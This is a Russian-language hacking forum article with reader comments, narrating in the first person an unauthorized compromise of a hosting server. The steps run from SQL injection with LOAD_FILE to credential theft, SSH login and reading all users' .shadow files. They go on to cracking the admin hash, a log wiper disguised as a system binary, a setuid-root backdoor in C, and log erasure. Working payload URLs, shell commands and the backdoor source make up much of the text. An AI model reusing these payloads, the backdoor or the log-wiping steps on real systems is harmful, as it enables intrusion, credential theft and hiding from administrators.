Название : От sql-injection до root'a Автор : p-range - AltST Дата : 5.03.2007 В данной статье я хочу рассказать как я получил нулевые права на одном зарубежном хостинговом сервере. [Небольшая предыстория] Как обычно, вечером, я гулял по просторам интернета. Серфил по разным сайтам, и тут наткнулся на один очень интересный сайтец. Это был сайт какого-то зарубежного хостера. Назовем его dhoster.com. Я заметил, что движок самописный и довольно сложный. Очень много функций и скриптов. И как всегда, (это уже наверное вошло в привычку , начал подставлять кривые значения в переменные скриптов, пытаясь найти ошибку. [Первая зацепка] Но спустя некоторое время, так ничего и не найдя, я решил покопать глубже. Начал просматривать исходники страниц. И не зря, в сорцах главной страницы меня привлек код на JavaScript примерно следующего содержания: Code: <script language='JavaScript' type='text/javascript'> function openWin(pid) { myWin = open("inc/photo.php?pid="+pid, "displayWindow", "width=40,height=30,status=no,toolbar=no,menubar=no"); } </script> Я сразу обратил внимание на строчку "inc/photo.php?pid="+pid и поспешил перейти по адресу http://dhoster.com/inc/photo.php?pid='. Как я и думал, скрипт выплюнул мне ошибку MySQL: Fatal error: Call to undefined function: mysql_error() in /home/dhoster/public_html/inc/photo.php on line 29 Теперь я начал подбирать правильный запрос к базе данных. В итоге получил строчку такого вида: http://dhoster.com/inc/photo.php?pid=-1+union+select+1,2,3,4,5/* К сожалению попытка подобрать название таблицы так ни к чему и не привела. Из идеи просмотреть таблицу mysql.user тоже ничего не вышло. Но тут я решил попробовать прочесть файл /etc/passwd через функцию LOAD_FILE(). К моему удивлению, это сработало, и на странице я увидел содержимое с логинами пользователей сервера. Так как я знал полный путь до директории с сайтом, то решил попытаться найти файл конфигурации от движка. Мне повезло, и я сразу нашел его В итоге перешел по такому УРЛ: http://dhoster.com/inc/photo.php?pid=-1+union+select+1,2,LOAD_FILE('/home/dhoster/public_html/inc/config.php'),4,5/* и увидел содержимое config.php Code: <?php $dbhost = 'localhost'; $dbuser = 'dhoster'; $dbpass = 'gfGFd.uhL'; $dbname = 'engine'; ?> [Осматриваемся на сервере] Я поспешил зайти под текущим логином и паролем на SSH. Как ни странно, пароль подошел Я начал осматриваться в системе. Сервер крутился на линуксе. Ядро свежее, поэтому поднять свои права в системе с помощью эксплоитов я не мог. Я думал, что делать дальше. Просмотрел содержимое каталога пользователя dhoster, но ничего интересного там не нашел, точнее сначала не заметил. Я обратил внимание на файл .shadow, лежащий в корне директории пользователя. Выполнив команду cat .shadow, я увидел хэш пароля от ssh моего пользователя. Предположив, что такие файлы лежат в корневой директории каждого пользователя, я решил попробовать их прочесть. Но для начала решил поискать хистори-файлы на сервере. Для этого выполнил команду на поиск: find / -type f -name *_history -ls Просмотрев результаты, я не нашел ничего, что бы могло мне помочь в поднятии прав. Директория /home, где лежали все сайты, которые хостились на этом сервере, была закрыта для чтения. И тут в моей голове промелькнула одна очень интересная идея. Я вспомнил об одной фиче, позволяющей обходить запрет на чтение файлов из /home. [Повышаем права] for i in ls `cat /etc/passwd|awk -F ":" '{print $6}'`; do cat $i/.shadow; done|more Ее суть заключается в том, чтобы прочесть с помощью утилиты cat файл /etc/passwd, далее с помощью awk выбрать из него логины в цикл и подставлять как user/.shadow, прочесть его и вывести на экран в постраничном режиме, о чем говорит done|more. Разумеется, злоумышленники могут читать не только .shadow, но и .htaccess, index.php, а затем уже и includes/config.php и другие файлы с более-менее стандартными именами. Потом, в результате сканирования файлов по ключевым словам, в чужие руки попадают учетные записи. Далее остается только найти подходящее приложение для закачки скрипта. К примеру, если это CMS, php-шаблоны которой можно править через WEB интерфейс, а исполняемым скриптам позволено что-то закачивать на сервер, то остальное лишь дело техники. Думаю смысл ясен. Выполнив эту команду, я получил доступ ко всем файлам .shadow в директории /home. Среди них и оказался файл /home/admin/.shadow. Мне повезло, так как у меня были права на чтение этих файлов. Получив хэш админа, я скормил его джону. Пароль, как оказалось, был не очень сложным, и получив его я поспешил залогиниться под юзером admin. Подключившись на 22-й порт сервера dhoster.com, я ввел имя пользователя admin и пароль password. Система сообщила мне об удачном входе, и я, убедившись что мои права нулевые, принялся за работу. [Ставим логвайпер] Естесственно, теперь мне нужно было позаботиться о том, чтобы админ не смог вычислить что я находился в его системе. Решено было поставить логвайпер wipe. На мой взгляд неплохой, так как умеет чистить UTMP, WTMP, lastlogs и ACCT файлы. Слил архив с wipe (http://packetstormsecurity.org/UNIX/penetration/log-wipers/wipe-1.00.tgz) и распаковал в каталог /home/admin/l/. Затем выполнил команду на установку: make linux. Получив бинарник wipe, скопировал его в /usr/bin/telnef. Папку l/ я потер, дабы не вызывать лишних подозрений. Логвайпер готов к использованию [Закрепляемся в системе] Теперь передо мной стояла задача, закрепиться в системе. Я не стал использовать публичные руткиты, ибо админ его спалит при первой же проверке chrootkit'ом. Я написал простенький бэкдор. Исходный код at.c Code: main() { setuid(0); setgid(0); system("/usr/bin/telnef l admin"); system("/usr/bin/telnef w admin"); system("/usr/bin/telnef u admin"); system("/usr/bin/telnef a admin"); system("/bin/bash"); } Скомпилировав сорцы в бинарник at, я переместил его в /usr/bin/at и поставил на него суид. Теперь получить рутовые права в системе я мог из любого юзера, запустив /usr/bin/at Что он делает, думаю, понятно. Бинарник берет рутовые права, затем запускает логвайпер, который я уже установил и бэкдорит тачку. [Заметаем следы] Теперь осталось лишь подчистить следы моего пребывания в системе: [admin@server admin]# /usr/bin/telnef l admin Patching... Done. [admin@server admin]# /usr/bin/telnef w admin Patching... Done. [admin@server admin]# /usr/bin/telnef u admin Patching... Done. [admin@server admin]# /usr/bin/telnef a admin Patching... Done. [Заключение] Если администраторы вашего хостинга считают, что из директории другого клиента, права на которую установлены в "r-x--x--x", нельзя читать файлы, то они заблуждаются. Если они считают, что запрет на чтение, к примеру, "/home", помешает узнать список домашних директорий, то они не знают элементарных вещей. На сегодня все P.S. А как все невинно начиналось... (с) p-range :: AltST
Если честно - то статья не очень понравилась, ввиду экзотичности ошибки, и ощущения некоторой надуманности (читай научная фантастика). Тем более таких статей уже полно. Хотя awk и sql ты пользоваться умеешь За старания +. Хотелось бы увидеть ссылку на wipe и исправление "линуксс" на "линукс". А ещё неплохо было бы указать версию ядра.
p-range respect, фича с чтением директорий с правами x известная, но не всеми админами поправленная =))
не могу не придраться: проверка на суиды является базовой для антируткитов\ids и прочего подобного софта.
Спасибо за критику. На самом деле об этой фиче я знаю давно, но уже не помню где узнал, и, по крайней мере нигде больше не встречал. В этой статье решил показать на примере как ее можно использовать. Надеюсь кто-то узнал для себя что-то новое =)
